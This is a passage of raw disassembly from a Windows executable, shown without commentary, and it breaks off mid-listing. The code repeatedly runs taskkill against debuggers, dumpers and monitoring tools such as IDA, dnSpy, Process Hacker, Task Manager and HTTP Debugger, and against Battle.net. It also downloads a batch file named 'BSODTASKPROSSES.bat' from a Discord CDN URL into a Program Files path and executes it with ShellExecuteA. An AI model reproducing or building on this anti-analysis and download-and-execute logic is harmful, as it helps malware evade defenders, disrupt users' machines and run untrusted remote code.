lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd930]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd910]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd910]
call fcn.14005d8d0
mov qword [rsp + 0x648], rax
lea rcx, [rsp + 0xd930]
call fcn.14005d8d0
mov qword [rsp + 0x650], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x648]
mov rdx, qword [rsp + 0x650]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1403929b8]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd8f0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd8d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd8d0]
call fcn.14005d8d0
mov qword [rsp + 0x658], rax
lea rcx, [rsp + 0xd8f0]
call fcn.14005d8d0
mov qword [rsp + 0x660], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x658]
mov rdx, qword [rsp + 0x660]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd8b0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd890]
call fcn.14005d9d0
lea rcx, [rsp + 0xd890]
call fcn.14005d8d0
mov qword [rsp + 0x668], rax
lea rcx, [rsp + 0xd8b0]
call fcn.14005d8d0
mov qword [rsp + 0x670], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x668]
mov rdx, qword [rsp + 0x670]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
